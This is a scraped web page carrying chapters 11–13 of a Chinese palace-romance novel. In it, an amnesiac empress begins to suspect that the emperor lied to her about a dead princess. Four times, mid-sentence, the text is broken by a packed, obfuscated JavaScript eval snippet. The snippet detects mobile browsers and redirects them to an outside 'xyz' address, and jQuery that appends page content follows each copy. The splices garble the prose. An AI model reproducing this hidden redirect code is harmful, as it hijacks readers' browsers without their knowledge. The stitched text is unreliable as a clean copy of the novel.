;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640953|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
离她很远,媜珠躲在珠帘后,慢慢握紧了自己方才抚在心中的那只手。
她把那只手伸了出来,放在面前,仔细地看着自己手上的每一分肌理纹路,一种寒凉的感觉很快爬满她全身。
她忽然觉得她似乎很虚伪。她是一个虚伪的、无情无义的女人。
因为就在刚刚,在倪赐清告诉她皇帝政务繁忙、胃口不佳,已经草草用了晚膳的时候,她内心的第一个想法就是要在倪赐清面前“表演”出一种名为牵挂和担心的情绪。
她需要表演。倪赐清是倪常善的干儿子,倪常善是皇帝周奉疆身边的亲信宦官,倪赐清,就是皇帝的耳目和眼线。
身为一个后妃,她在皇帝的耳目眼线面前的一言一行,都是她对皇帝的态度,这些小宦官都会把她的表态转告给皇帝,继而影响到皇帝对她的看法。
所以,哪怕她对于皇帝今日的一饮一食和作息根本没有丝毫的兴趣去了解,但是只要有人告诉她皇帝今天很累,她就必须得装成一副关心和在乎的样子。
方才,她就是用这样虚伪做作的姿态,骗过了倪赐清,也差点骗过了她自己。
——她发现她好像根本就不爱皇帝。
可是媜珠不明白,她为什么会变成这样?她是忽然变成这样的吗?她是忽然才意识到这一点的吗?
她为什么会不爱皇帝?
她是所有人眼中这天下最幸运的女子,她的丈夫给了她发妻的名分,整个家族的荣耀,皇后的尊荣,专房之宠的恩泽,空置六宫不纳妾室的殊遇……
就连她婚后多年没有生育,皇帝都不曾怪罪过她半分,也没有以此为借口纳妾生子。
甚至,她的丈夫并不是一个垂垂老矣的老翁,也不是面容丑陋的猥琐男子,而是一个年轻俊美、身体健壮的皇帝。
那么,她为什么心底对他生不出几分爱意来?
她能感觉到,她对别人的情意和牵挂,似乎都是真切的。
见到太后气色不好,她是真心的牵挂,特意叮嘱崔嬷嬷叫人去给太后做鸽子汤来;
见到穆王妃才生产后不久就受了牵连被皇帝斥责,她是真心心疼她,特意命宫中女官挑选了上好的各种补品去穆王府里看望她;
就连今天见到颍川公主怀着身孕还要为驸马前往交州平叛之事忧心,她也是真心心疼公主。
唯独面对皇帝时,她是在假装“关心”。
明明所有人都告诉她,年少时她和皇帝周奉疆是多么的相爱,尤其是她,她是那么的爱他,一心认准了这个男人,立志非他不嫁。
难道是因为多年前的那场失忆,让她忘记了她从前对皇帝的感情了吗?
可是,为什么她对太后、颍川公主、穆王妃她们,却皆是真心的呢?
媜珠心底涌起的不仅是一阵有一阵的困惑,更是惭愧和自责。她为自己没有那么爱自己的丈夫而感到愧疚。
想到今日颍川公主提及驸马韩孝直时眼底流露的哀伤和不舍,每一分都不似作伪,而同样身为一个男人的妻子,她就没有像颍川公主那样爱她的丈夫。
还不待媜珠再往深里思索下去,她的头颅陡然又开始了隐隐的抽痛,让她眼前一片昏黑,整个人都几乎天旋地转了起来。
媜珠只能压下这些心思,连饮了数口热茶,这才缓缓靠在椅背上平复了过来。
11. 第 11 章
后来她又想,也许是婚后的这些年她和皇帝有些聚少离多的缘故。
事实上,虽然她与皇帝已经成婚五年多,但是实际相守在一起的日子,尚且不足半数。
过去,他常年征战在外,而她只安心待在冀州家中侍奉婆母赵太后。
虽然他对她仍然极尽宠爱,——他在外面打仗时收获的战利品,金银元宝,狐皮熊氅,绫罗绸缎,珠玉首饰,珍珠宝石,燕窝人参,甚至包括洛阳城里那些价值千金的名贵牡丹,总是流水一样命人运回冀州,送给她,讨她欢心,但是他并不能时时刻刻陪在她身边,和她相处。
等他终于基本结束了战事,有时间日夜陪伴着她的时候,他已经是皇帝了。
兼之失忆,很多时候,她对他难免有些惧怕和陌生,那也是正常的。
媜珠最终是这么安慰自己的。
*
这天夜里皇帝回来的很迟。
见皇帝回来,媜珠上前欲侍奉皇帝宽衣。
皇帝搂住了媜珠的腰肢,把她带到自己怀里,垂首亲了亲她乌黑浓密的发顶:“媜媜,你今日命人送来的那盏四神汤,朕很喜欢。媜媜,谢谢你。”
媜珠在他怀中展颜娇笑:“照顾好陛下,本来就是妾的职责所在。是妾三生得幸,能陪伴在陛下身边。”
……不,她心里并不是这么想的。媜珠很绝望的意识到,她这又是在对着皇帝演戏。
待皇帝更衣洗漱毕上了榻,宫娥们躬身上前拢好帘幔,悄然退了出去。
皇帝翻身压在了媜珠身上,双手撑在她两侧,又俯身过来亲她。
媜珠微微偏头,下意识避开了他的亲吻,让这个带着浓重情|欲|意味的吻落在了她的脸颊上。
她有些不安地咬了咬唇,不敢去直视他的眼睛,伸手在他胸口处轻微地推了推,拒绝了他的索要:“陛下……您近来忙于国事,劳累太过了,不能放纵身子……”
事实上这是这么多年来媜珠第一次认认真真地在床榻上拒绝他。
周奉疆显然是格外错愕的。
过去数年,媜珠从来都是温顺柔婉的,她对他言听计从,从来不会拒绝他的任何要求,她是那样乖巧啊。
然而今夜,这个一直如瓷器一般安静、美丽而柔弱的女人,似乎有了一点自己的想法了。
周奉疆腾出一只手来拂开了她推拒的双手,将她的两只手腕扣在一起,按在了她头顶,似笑非笑:
“倒真是个好皇后,越来越贤良淑德了。”
媜珠心里轰地炸了一下。
她垂下眼睫,不知是因为恐惧、委屈或是什么其他的因素,眼眸湿润,就快要变成摇摇欲坠的一滴泪。
周奉疆的吻再度施加到她身上,这一次她没能反抗,他捉住了她的唇,重重地吞噬着她的气息。
就在这一吻将要结束时,在他的唇离开她脸颊的前一刻,媜珠的那滴泪流了下来,落到他唇边,他尝到了那苦涩而委屈的味道。
周奉疆愣了愣。
他从她身上支起身,凝神细看,看到的便是媜珠那满面泪容的样子。
周奉疆的心抽痛了一下,他看着媜珠,思绪就飞越了多年的光阴,仿佛看到了当年他第一次亲吻她时的场景。
那时他已是整个北地冀州的主人,是周家的家主,媜珠和她的母亲只能活在他的羽翼庇佑之下,他志得意满,自以为她已是他的掌中之物,终于有一次忍不住亲吻了她。
她咬着唇却不敢反抗,而后就是这样默默无声地哭泣,像是受了天大的委屈、忍着多大的屈辱似的。
床帐内的气氛凝滞僵硬了片刻,周奉疆放开了她双手上的禁锢,将她的身子捞到了自己怀里,轻轻抚着她的背给她顺气:“不哭了,不哭了,好不好?我不过说了你一句,你何至于哭成这样……”
媜珠的眼泪终于止歇,周奉疆已没了那份要宠幸她的兴致,掀起床帘唤来宫娥奉上热水和巾帕,亲手绞了帕子给媜珠擦脸。
待擦净了她面上的泪痕,他将她放进被褥间安睡,自己也在她身侧躺下。
媜珠方才一直没有再说话,这会儿才终于轻轻开了口,抬眸望了周奉疆一眼,仍旧是委委屈屈的,但是并没有几分想要认错的意思:“妾是惹陛下生气了吗?”
周奉疆这时候再看她,心中几乎都有些想笑。
哪怕是失忆了一场,这个女人的脾气也照旧和当年如出一辙,动不动不是哭就是闹,加之是自幼娇生惯养出来的金枝玉叶,稍微对她说的话重了一点点,她就要哭得不行。
他拍了拍她的背,哄了她几句,等把她哄好了,媜珠这才渐渐睡下。
今夜月色宁谧,望着媜珠的睡颜,周奉疆的脑海中也开始无由来地思索起了一个有些令他心神恍惚的问题。
她爱他吗?
她现在爱他吗?
好歹做了五年的夫妻,这五年里他自认对她也是尽心呵护,未曾有过半分让她受委屈的地方,他将他所拥有的一切珍宝都捧到了她面前,那么这五年来她是否有所被他打动呢?
五年前,借着她失忆的时机,他设计娶了她,让她糊里糊涂地做了他的妻子,当年他就心知肚明她对他并无半分男女爱慕之情,那么五年后呢?一切会有些许好转吗?
周奉疆心里其实并没有底。
但此刻拥她在怀,夜夜与她同床共枕的人是他,他已然满足,不敢再多奢望贪图什么,并没有再将这个问题多想下去。
*
交州司马、颍川公主的驸马韩孝直在三日后就匆匆离开了长安,背负皇命在身,一路匆匆赶往南地交州一带而去。
至于那天夜里,媜珠和皇帝之间闹出的那点小脾气,早在第二日便消散得无影无踪了。
不两日后,皇帝再度要求她侍寝,向她索欢,她已经没有拒绝的理由,也的确没有再说不。
那一夜,忽然在某一刻,她望着身上的男人,心中涌起过巨大的陌生感和异样感。
但是不知为什么,很快,她的身体便强迫她忘记了这种不安的感觉。
龙章元年的十月很快到来,在十月初小雪的这一天,魏都城长安夜果真窸窸窣窣地落了一天的细雪,虽然雪花不大,但是刺骨的寒意还是陡生了出来,让媜珠也不由觉得手足发凉。
皇帝说她身子不好,气血有虚,不再叫她经常出去走动了,只让她待在椒房殿里烧着蜜碳暖暖手足,还让太医署的医者们变着花样煮了人参水、灵芝汤来给她补身。
他不再召她冒着冷风跑去宣室殿陪他用午膳,有时他有空,便会亲自回椒房殿里陪陪她,若是实在政务繁忙,那便作罢。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640954|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他每年都是如此小心翼翼地对她,仿佛一到了天气开始转寒的时候,她就多么娇气脆弱一般。
但媜珠仍然每一年都会提出一点小小的抗议:“陛下,妾并不至于娇柔至此,陛下为何如此为妾身悬心?眼下才方十月初,您就不让妾多出去走动,等到了冬至入九的时候,妾难道要被塞进熏笼里捂着吗?”
皇帝听到她的嗔怨和不快,眉目间却浮现一点淡淡的宠溺的笑意,他哂笑了下,伸手抚了抚媜珠的脸颊:
“朕若能真的把你乖乖塞进熏笼倒也好了,便可省去朕许多份伤神的心思。”
*
皇帝对她的宠爱从未削减半分,甚至一直都是只多不少的,但光靠着这份宠爱,尚不足以打发媜珠在这重重深宫高墙之内的漫漫长日。
冬天一日更比一日寒冷,而媜珠的日子也越发无聊了起来。
——尽管她从前都是这么度过的。
没有人会在意她的无聊,没有人相信这样尊贵的女人居住在雕梁画栋的金殿玉阙中也会有她的不快乐。
就连皇帝都曾经跟她说过,她的皇后私库里存着数不胜数的金银珠玉,随珠和璧,奇珍异宝,她拥有南海的珍珠珊瑚,南诏的象牙骨扇,新罗的鱼牙绸,逻些城的草红花,哥勿州都督府进贡的狐熊貂氅……
他让她无聊时可以一一把玩这些物件,用这些物件来陪她解闷,足够她打发时日。
但媜珠其实并不在意这些死物。
虽然她不在意,可是她也不能告诉皇帝,她只能装作听懂了的样子,让皇帝对她的反应感到满意。
今年媜珠的百无聊赖和往年相比,又稍显不一样了。
往常,她冬日里还可以召见那些宗族女眷们入宫来陪她说说话,陪她玩一会,但是今年却不大能管用了。
颍川公主怀着身孕养胎,又为她征战在外的丈夫焦虑悬心着,媜珠自然不好打搅她。
至于穆王妃……受了上次那件事的牵连,恐怕她以后都会害怕单独见这个皇后吧。
于是媜珠也不好意思再去寻她。
说起来,尤其是因为上次穆王府受到皇帝申斥后,不知道是不是媜珠的错觉,之后其他公主和王府的几位王妃们再入宫的时候,她们各个都是屏息凝神,对她这个皇后小心得不得了,甚至话都不敢多说几句,唯恐说多错多,祸从口出一般。
媜珠隐隐怀疑,她们大约都知道了点穆王府的事情,不想再步穆王妃的后尘,为了明哲保身,都在暗暗地疏远她这个惹不起的皇后了。
这个发现让她的心情低沉了很久。
不过她面上掩饰得很好,既不曾让皇帝察觉,更没有亲口告诉皇帝。
因为她知道皇帝对她有多重视,只要她将她的这些不快告诉皇帝,皇帝定会重重责罚他们。
她不想为了她的事再大动干戈,再去连累了其他人。
面对那几位王妃公主不着痕迹的客套和疏离,她也无法在心里怨恨她们。
想到这些,媜珠叹了口气,静静地伏在铺了一层厚厚黑熊熊皮的檀木美人榻上,神情中带着一丝落寞。缀在她乌发云鬓间的凤冠金簪,似乎也因此变得黯淡了些。
——如果她从来都没有失忆过就好了。
这个念头便是在此时浮上了媜珠的心头。
12. 第 12 章
她以前虽然有为自己失去记忆的事情感到惋惜过,但是却从来没有像此刻这么强烈过。
她为自己丢失了的“人生”而遗憾。
媜珠不禁在想,假如她没有失忆的话,她还能记得她从前十几年人生中的点点滴滴,记得自己的好友与玩伴,记得自己从前喜欢的吃食、书籍和玩乐解闷的东西,那么她一定不会再像现在这样整日索然了。
自从她失忆之后,她的世界里仿佛只剩下了她的丈夫,别的什么都已与她无关一般。
或许是想到了这些的缘故,媜珠在第二日请了她娘家赵国公府的母亲和婶母等人入宫,想要和她们说说话。
皇后的母亲,赵国公府的梁夫人,因女而贵,得封为襄国夫人。
襄国夫人于是便恭恭敬敬地在第二日带着自己的妯娌,国公府二房的夫人吴夫人一起进宫给皇后请安。
肉体凡胎之人,不论长到多大,大约都还会想要去亲近自己的母亲。
但不知为何,媜珠心里其实对这位襄国夫人一直亲近不起来,反而下意识地会觉得她这个母亲很陌生,完全不能给她半点见到母亲的感觉。
她每每对襄国夫人喊出“母亲”的时候,都会觉得有些别扭和不自在,甚至还不如面对赵太后时喊出的那声母亲自然些。
而且,襄国夫人本人,大约对媜珠这个贵不可及的女儿也没几分普通人家母女之间的舐犊之情了。
她对媜珠也只剩下小心翼翼的恭维和客套,就像宗室里的那几位王妃公主们对媜珠时一样。
譬如此刻,襄国夫人和妯娌吴夫人两人进了椒房殿里,规规矩矩地坐在媜珠的下手处,连头都不会多抬起几分,甚至都不敢抬目看看媜珠几眼。
媜珠命宫娥们奉上她特意准备的热茶和点心给母亲和婶母,两人也只喝了半口,然后意思意思地用袖子掩着唇尝了半块糕点,之后再也没有主动碰过碟子里的点心了。
仿佛是去别人家做客的孩子似的,不敢多吃一点东西,唯恐叫人在心里笑话贪吃。
在和她们说话之前,媜珠找了个由头打发走了半步不离地跟在她身边的嬷嬷佩芝,又将殿内的宫娥挥退了下去。
佩芝自然是不大想走,经历过上回的事之后,媜珠大约也猜到,但凡她有什么风吹草动的地方,佩芝都会暗中去告诉皇帝。
她不知道这单纯只是皇帝对她的关心,又或者是否该将这些定义为“监视”,但是平时她可以不在乎,现在却不行。
因为她今天是真的很想好好地和娘家人说一会话。
见媜珠执意如此,佩芝也只好欲言又止地慢腾腾离开了。
殿内只剩下媜珠和国公府来的两位夫人。
媜珠先是向她们问起家中祖父祖母、父母与叔父叔母等长辈近来身体可好、家里的侄儿侄女们读书还认真么之类的琐事。
两位夫人便连忙起身,弯着腰,诚惶诚恐地说着什么“多仰赖陛下与娘娘恩泽眷顾,蒙娘娘关怀亲问,妾等感激不尽,阖家老小一应俱好”之类的客套话。
倒是恪守君臣之礼,不敢有半分僭越。
媜珠藏在袖中的手握紧了几分又无奈地松开,看着她们这样子,只余一股空洞的、认命一般的凄凉。
或许这就是所谓高处不胜寒?这就是当皇后的代价?
她站在了高处,得到了那个全天下最有权势的男人的宠爱,所以她得到了不计其数的华服锦衣、珠翠金银,也得到了别人的畏惧,继而由畏惧变成疏离。
可她还有几分不死心,又主动开口问道:“母亲和婶母可还记得,我从前在冀州家里时,是什么样子的?”
此言一出,襄国夫人和吴夫人都下意识地轻声“啊”了一下,像是根本没料到媜珠会问起这个。
媜珠微微一笑:“从前,我没有失忆之前,我还养在母亲身边的时候,那时我们一家都还在冀州老家……我在闺阁时,是什么样子的?整日都在做什么?是什么样的性情?母亲和婶母还记得吗?”
这个问题几年前她刚刚失忆时就曾追问过,追问过身边的人,不停地问“我从前是什么样的”,后来得到了别人的几句答复,也就不再问了。
然而多年后,她却又将这个问题拿出来再问了她们。
两位夫人呆愣了片刻,很快,襄国夫人第一个回过了神来,立马一板一眼地回答道:“娘娘……娘娘幼时性温而娴静、谨敦孝,善女红针黹之事,又喜书墨,家中长者莫不夸赞娘娘,姊妹莫不敬重娘娘的。”
旁边的吴夫人更是连连附和称是。
可是这听起来似乎是个很无趣的女孩子呢。
媜珠有些想发笑。如果从前的她真的是这样的,那么也不怪她现在镇日觉得无趣了,因为她的无趣是从小就培养出来的。
她又问:“那我从前在家中的闺阁好友们呢?未出阁前,我都常和谁在一处玩?”
襄国夫人的回答仍旧颇为谨慎:“娘娘从前多与家中姊妹们一处玩的,家中姊妹们都敬重娘娘的品行,平素姊妹也处处追随娘娘的德行,与娘娘一道习针黹书墨之事。”
她并没有点名道姓地告诉媜珠说,比如说她以前和李家的三娘子、王家的二姑娘、周家的大姐姐之类的亲戚故交家里的女孩子玩,没有牵扯到任何一个别人家的女孩子的名姓,而是含糊其辞地说“与家中姊妹们玩”,至于是家中的哪几个姊妹,她也没说。
所以这句回答,说了也跟没说一样。
媜珠总觉得襄国夫人是在敷衍她。
她今天向她问起的所有问题,这位母亲给她的回答都是客套和敷衍,说不出半句有用的东西。
不过,她忽然想到了什么,轻轻眨了下眼睛,又向襄国夫人问:“那以前冀州侯周家的表姐妹们呢?我和她们玩得也好吗?”
名义上,赵太后是先帝周鼎所有孩子们的嫡母,所以她的侄女赵媜珠当然也是周鼎那些儿女们的表姐妹了。
过去他们就曾告诉媜珠说,就是因为这层关系,她姑母赵太后那时候时常带她去冀州侯府玩,她才因此结识了冀州侯周鼎的养子周奉疆,有了和周奉疆的这段情缘。
媜珠问起此事,襄国夫人当然还是想也不想地回答道:“那也是自然了。娘娘品性如此,从前家中姊妹和周家的表姐妹们,就是如今的这几位公主们,谁不喜欢娘娘?”
媜珠的笑意更深:“记得我与兖国公主、颍川公主、仪阳公主、陈留公主她们年纪相仿,恐怕小时候在冀州侯府里,也是多与这几位公主玩得来吧?”
兖国、颍川、仪阳、陈留四位公主,就是从前周鼎的三女、四女、五女、六女。
襄国夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640955|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人点头:“那是自然,娘娘幼时娴静温雅,几位公主们对娘娘皆是极喜爱的。”
媜珠再试探她:“颍川公主她们与我交好,我倒不奇怪。至于那位陈留公主……周六娘子,听闻以前是先帝的宠妾所生,太后和颍川公主之前提起她,还曾说过一句,说她少时跋扈,在自家姊妹们跟前都不大恭敬。难道连陈留公主都曾和我交好吗?”
襄国夫人这时候其实已经有些不明所以了,她觉得她完全不明白媜珠今天问东问西的到底是要干什么,而且为什么越扯越远?
但是她没有办法,只能按照从前敷衍媜珠的经验,顺着她的话说下去:
“娘娘说的倒是不错,陈留公主的生母曾是先帝宠妾,以前在冀州侯府里确实有几分脾气,也曾有些对姐妹们不恭敬的传闻。不过这与娘娘并不相干,娘娘那时去冀州侯府里,那是侯府的客,凭她陈留公主多大的脾气,怎敢对娘娘发?何况娘娘本就讨人喜爱,就算是陈留公主,对娘娘也是没有半句不服的。”
媜珠颔首:“原来是这样。”
其实那个八九岁就死了的陈留公主生前到底是个什么样的脾气,媜珠根本就不关心,而到这时候她终于图穷匕见了,问出了她真正最想问的一个问题。
她状似好奇地继续追问道:“母亲,不过您说,陈留公主那样的跋扈,以前家里的姊妹们竟然都容忍她么?四妹颍川公主少时不得宠,不敢多说什么也就罢了,太后娘娘亲生的三妹妹兖国公主竟也忍让她?”
兖国公主、兖国公主……
怎么又是兖国公主?
媜珠频频提起这个兖国公主,襄国夫人和吴夫人两人更是脑袋都大了,恨不得当场晕死在这椒房殿里!
她们这辈子都不想再提这兖国公主的事了!
可,面对皇后发问,她们又不能不答,只好硬着头皮继续说:“娘娘,娘娘不知道,兖国公主昔年乃太后娘娘所生养,是最出了名的温顺懂事的性情了,谁人不知对家中姊妹兄弟们素来和睦亲善,她哪里会去和陈留公主计较呢?”
媜珠唇畔的一点笑意在那一刻变得格外的僵硬,像是被冰封冻住一般。
……
襄国夫人和吴夫人离开皇后的椒房殿后,并没有立刻被宫中女官内监们指引着出宫去。
她们妯娌二人的神色反而变得越发的惶恐与谨慎,直到被人悄悄带进宣室殿内时,两人更是害怕得恨不得把整个人都跪伏在地,把身子都贴在地砖上一般。
宣室殿内肃穆得有些过分,凤鸟衔环香炉里缓缓溢出一缕白色的凝烟,拢着沉香的静气。
皇帝披了身墨色的襌衣,正在御案前批阅着几本厚厚的奏劄。
襄国夫人与吴夫人恭恭敬敬地跪地俯首,向君王行礼。
听见她们进来的动静,皇帝手中的朱笔顿了顿,打断了她们还没说完的那声“万岁”:“皇后今天召你们过去,和你们说什么了?”
襄国夫人立马垂首答道:“娘娘并未和妾身等多说了什么,只是照例问起了几件家中的琐事,问起家里的祖父母、父母和叔父叔母等长辈身体安泰否?又问起家中侄儿侄女们读书可有些进益等。”
不过是些她从前就爱问的家常琐事罢了,并没有什么不妥的。
皇帝心里稍定,又问:“她就和你们说了这些?”
13. 第 13 章
襄国夫人咬了咬舌尖,硬是把剩下的话给逼了回去,咬牙说了声“是”,
“陛下明鉴,娘娘确实就只问了这些。妾身等都按往日的话又答了娘娘,绝不敢说错半个字。娘娘也并无半分异常。”
皇帝倒安心了,手中朱笔在纸上又稳稳落下一个字,头也不抬地与这两妇人道:“下去吧。”
襄国夫人连忙拉着吴夫人叩首退出了殿外。
两人今日算是犯了欺君之罪,心都跳得飞快,做贼心虚一般冒了一身的冷汗。
直到回到了赵国公府里,吴夫人跟去了襄国夫人房内同她说话,两人挥退了各自的丫鬟,吴夫人这才腿肚打颤地揪住了襄国夫人的衣袖:
“大嫂!咱们今日这是、这是……娘娘明明还说了别的……”
皇后明明还问了许多有关她过去的事情,甚至七扯八扯还扯到了兖国公主的身上,但是关于这些,襄国夫人竟然都自作主张地在皇帝那里瞒了下来!
这瞒了还不算什么,若是日后让皇帝察觉了,只怕他们赵家是要大祸临头的啊!
襄国夫人自己何尝不是胆战心惊呢?
她紧紧握着妯娌的手,两个人的四只手都是冰冷的。
襄国夫人苦苦劝她:“不会的,你听我的,不会有事的。反正今日那佩芝又不在一旁听着,只有咱们二人和皇后在一处说了话而已,旁人都不会知道的。你听我的,我们今日本就该这么回了陛下,这才叫陛下高兴、安心。若是真的一五一十全都说给了陛下,陛下知道娘娘又问起兖国公主的事情,心中反倒不快!到时候也会牵连你我的。”
吴夫人颤抖着点头:“好、好、那就这样……这事儿已经过去了,从此之后,我们都不再提这事了。”
赵国公府看似满门荣华富贵,如今全都系在椒房殿里那个柔弱的女人一人之身。但凡那个女人出了什么差错,他们也再无这样的安生日子可过了。
*
送走母亲和婶母,媜珠一个人在椒房殿的内殿里静静坐了很久。
赵国公府的两位夫人走后,佩芝这才过来问她是否要喝点热茶,媜珠不想让她察觉自己的异样,笑着说了声好,喝了半碗她端来的人参桂圆茶,她这才觉得身上像是有了点暖意。
见媜珠似是无事,佩芝便也放心地离开了,留她一个人待在殿内静一静。
媜珠靠在美人榻上,一双美丽却失了生机的眼睛沉默地看着日光穿透窗纱落在殿内的那束光。
她费力忍着头颅的隐隐抽痛和不适,强撑着思考了很久很久,殿内的光影渐渐西移,直到天色开始昏黑,有宫娥们开始掌灯时,媜珠仍然没有想明白这个问题。
她想不明白,
——周奉疆为什么要骗她?他为什么要骗她?为什么?
上次她问他,为什么不让她打听那位兖国公主的事情,周奉疆是怎么回答她的呢?
他说,兖国公主是昔日先帝周鼎的唯一嫡女,赵太后亲生,所以自幼备受宠爱,性情跋扈,目中无人,对家中庶出的兄弟姐妹们皆冷眼相待,一副谁都看不上的样子。甚至就连她小时候,也没少受兖国公主的欺凌和白眼。
可是事实真的是这样的吗?
兖国公主真的是这样的人吗?
她今日好一番旁敲侧击、拐弯抹角,才从襄国夫人口中套出话来,襄国夫人是如何评价兖国公主的品性的?
襄国夫人说的是,兖国公主温顺懂事,待人和睦亲善。
分明和周奉疆口中所说的是天壤之别!一点都不一样!
在最开始感到震惊和错愕的时候,媜珠还曾经怀疑过,是不是襄国夫人不敢妄议公主,尤其是议论这位太后亲生的公主,为了不触怒太后的颜面,所以才非要硬夸兖国公主的好。
她不停地在想,也许周奉疆跟她说的才是事实,兖国公主的确不是什么好人,襄国夫人之所以不敢说,就是怕说出来得罪了太后而已。
可是,一整个下午,她不停地细细回味着襄国夫人提起公主时的每一个字,最终还是看不出襄国夫人哪里有说了谎话的样子。
尤其是她评价公主时,说公主的温顺懂事,是用了“最出了名的”和“谁人不知”这样过分夸张的词语来形容的。
若是按照周奉疆所说,公主最为人所知的性格就是嚣张跋扈、欺凌姊妹的话,那么襄国夫人再这样说话,反而是显得她故意阴阳怪气地揶揄公主,对死去多年的公主话里带刺了。
襄国夫人那唯唯诺诺战战兢兢的人,她会有这样的胆子吗?
媜珠用了一整个下午在思考,自己的丈夫和自己的母亲,到底是谁更有可能在说谎。
是一贯宠爱她、对她百般呵护的丈夫?
还是恭恭敬敬、规规矩矩,恪守君臣之礼,从来不敢有半分言语失格的母亲?
当排除掉实在不可能的那个答案之后,她选择将怀疑的目光投向了自己的丈夫。
她最终认定,是自己的丈夫,皇帝周奉疆骗了她。
然而,即便她得出了这个结论,这个结果仍旧让她感到万分无法接受。
纵使她失去从前十数年的记忆了,可是光凭着他们同床共枕的夫妻情分来说,她实在很难相信周奉疆会是这样的人。
他是皇帝,更是一个自负的男人,这都让他不屑于去说谎,不屑去故意编造一个谎言来欺骗那些跪拜在他龙袍之下的人。
尤其是去编造一个女人的谎言。
何况这个女人还是他最敬重的养母的亲生女儿,曾经是他名义上的妹妹呢!
先帝周鼎的那么多女儿里,不管她们有没有活到周奉疆登基称帝,之后都被周奉疆一一封为公主,并且以封地为号,这些封地多是州郡之名。而唯有兖国公主一人,是以“国公主”为号的。
公主也是周鼎那些早逝的女儿们里面,唯一一个有谥号的公主。
公主谥曰“文”,是一个很好的美谥,即“兖国文公主”。
据媜珠所知,赵太后当时并没有主动为自己亲生的女儿索要过这些死后的哀荣,而是周奉疆自己封给公主的。大魏开国以来,独一份的尊荣。
这足以可见,他应当并没有那么讨厌自己的这个妹妹。
那他为什么又要在多年之后编造自己妹妹的谎言?
为什么要对着她污蔑他的妹妹品性不佳?
在百思不得其故的纠结和困惑中,媜珠生平第一次对那位素未谋面的兖国文公主产生了浓烈的兴趣。
她迫切地想要真正了解那位公主短暂的一生,想要解开缠绕在她身上的谜团,想要知道她和兖国公主之间到底有什么样的渊源与故事。
更想要知道,周奉疆对兖国公主,到底是一个什么样的态度。
他真的憎恶厌烦她吗?
媜珠过往数年平静得犹如一潭死水的生活,此刻仿佛被这个在她记忆中神秘不已的女人投入了一块石子,让她风平浪静的日子里流动了一丝生机。
可惜的是……纵使媜珠对和兖国公主有关的一切都充满了好奇,她现在却根本不知道自己能做什么。
经历了上次穆王妃被冤枉之事后,她已经不敢再在有旁人在场的情况下,贸然和任何人提起公主、询问那些关乎公主的事情。
她怕这些会引来她丈夫的猜忌和怀疑,她怕她那万人之上的皇帝丈夫会因此再度迁怒旁人,她害怕给别人带来麻烦。
谁能帮帮她呢?
媜珠环顾四周,一一算起自己身边所能见到的所有人,又突然有些悲哀地发现,好像没人能帮得了她。
她渐渐意识到,只要她有什么“异动”,她身边的所有人都只会立马跑去禀告给皇帝而已,更不用提皇帝自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640956|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身边伺候的人了。
在媜珠郁郁寡欢之时,这个冬天,她那远在长安千里之外的曾经的情郎,日子似乎也并不好过。
*
岭南交州郡,龙编县。
龙编县初为西汉时所设置。有传闻说,立县之始,有人见蛟龙蟠编於江津之间,因以为瑞象,而名之“龙编”。
在过去几百年的光阴里,这只是一个坐落于岭南一隅、默默无闻到几乎少有人知晓的狭小县邑。
然而,这两三年来,由于王师驻扎,天子驻跸于此,龙编县为数不多的那几间院落也被命名为“龙编宫”,成了龙编县百姓心目中最神圣的珠阙金殿,住着这世间最尊贵无比的天子后妃、皇子王孙们。
只是很可惜的是,在这个交通阻塞、消息滞后的偏僻县衙里,龙编县的百姓们还并不知道,他们所迎接的皇帝和皇室女眷帝裔们,只是一群近乎于丧家之犬般苟延残喘的土鸡瓦犬。
哪里是什么真天子?
从张道恭被人打得失去了长安洛阳两京开始,到他和他的流亡朝廷一步步失去整个中原……从去年一个新的皇帝在长安正式登基称帝开始,千古史书,纪年都要更以“龙章”。
中原王朝的正统,早已不再承认这个流离失所的朝廷了。
